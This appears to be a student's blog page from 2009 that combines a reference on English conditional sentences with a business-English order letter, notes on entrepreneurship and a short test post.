Type I or II • Exercise 2 • Exercise 3 Level: lower intermediate
Type I, II or III • Exercise 2 • Exercise 3 Level: intermediate
Fairytale “The Cat and the Mouse” Level: intermediate
Exercise on “New Orleans” text Level: intermediate

Exceptions

Exercise on If Clauses Type I with Auxiliaries Level: intermediate
Exercise on If Clauses Type I • Exercise 2 Level: upper intermediate
Exercise on If Clauses Type II Level: upper intermediate
Exercise on If Clauses Type III Level: upper intermediate

Tests on Conditional Sentences

Conditional Sentences Type 1 Level: elementary
Conditional Sentences Type 1 and 2 Level: lower intermediate
Conditional Sentences Type 1, 2 and 3 Level: intermediate
Conditional Sentences Type 1, 2, 3 and Exceptions Level: upper intermediate

type	condition
I	condition possible to fulfill
II	condition in theory possible to fulfill
III	condition not possible to fulfill (too late)

type	if clause	main clause
I	Simple Present	will-future (or Modal + infinitive)
II	Simple Past	would + infinitive *
III	Past Perfect	would + have + past participle *

type	if clause	main clause
I	If I study,	I will pass the exam.
II	If I studied,	I would pass the exam.
III	If I had studied,	I would have passed the exam.

type	main clause	if-clause
I	I will pass the exam	if I study.
II	I would pass the exam	if I studied.
III	I would have passed the exam	if I had studied.

type		Examples
		long forms	short/contracted forms
I	+	If I study, I will pass the exam.	If I study, I'll pass the exam.
-	If I study, I will not fail the exam. If I do not study, I will fail the exam.	If I study, I won't fail the exam. If I don't study, I'll fail the exam.
II	+	If I studied, I would pass the exam.	If I studied, I'd pass the exam.
-	If I studied, I would not fail the exam. If I did not study, I would fail the exam.	If I studied, I wouldn't fail the exam. If I didn't study, I'd fail the exam.
III	+	If I had studied, I would have passed the exam.	If I'd studied, I'd have passed the exam.
-	If I had studied, I would not have failed the exam. If I had not studied, I would have failed the exam.	If I'd studied, I wouldn't have failed the exam. If I hadn't studied, I'd have failed the exam.

tugas bahasa inggris bisnis1 ke-2

2009-10-24T10:59:00.000-07:00

MidNight Coorporation,

25 Palem V st

Bekasi 17250, Indonesia

October 15, 2009

Thing : XXI/2009/I 2

Mr.Dicky D.J

Executive Assistant

Music In Our Hand company

21 Seruling St.

Jakarta, CO 12345

Dear Sir,

We have seen your products at your stand at mall metropolitan. Where your products quality is better than another stand. We interest with your products.

Next month our company will celebrate day become 17. We want to order your products for our party. We wish price list of catalog and terms of payment condition .We whould like to know whether you can offer us a special discount because we will order a lot of your products.

We very like if you reply us immediately. We very thank you if you fulfill our request

Your Faithfully

Ganesha

tugas bahasa inggris bisnis1 ke-1

2009-10-24T10:50:00.000-07:00

Entrepreneurship

Entrepreneurship is a high-minded people to take risks to open a business in a variety of opportunities.

How to open a business:

- Has also become penggelolah capital
- Deposit capital but managed by the partners
- Deposit the energy or the mind but in the form of shares that is proof of business ownership

Entrepreneurial ethic

1. Appearance should be in accordance with the applicable name
2. Style

Entrepreneurial attitude

- Honest in being and acting
- Diligent, timely and not lazy
- Always a ready smile
- Gentle and warm-hearted
- Good manners and respect

How to open a business:

- Has also become penggelolah capital
- Deposit capital but managed by the partners
- Deposit the energy or the mind but in the form of shares that is proof of business ownership

Entrepreneurial ethic

1. Appearance should be in accordance with the applicable name
2. Style

Entrepreneurial attitude

- Honest in being and acting
- Diligent, timely and not lazy
- Always a ready smile
- Gentle and warm-hearted
- Good manners and respect

Characteristics of successful entrepreneurial

1. Have a vision and a clear mission
2. Interactive and productive
3. Oriented to the presentation
4. Hard work

Ganesha Parjuangan20106575
The factors of business open

- Descendants of the family
- Working side
- Trial
- Forced

testing

2009-10-24T09:52:00.001-07:00

hahahahahahah test dulu ah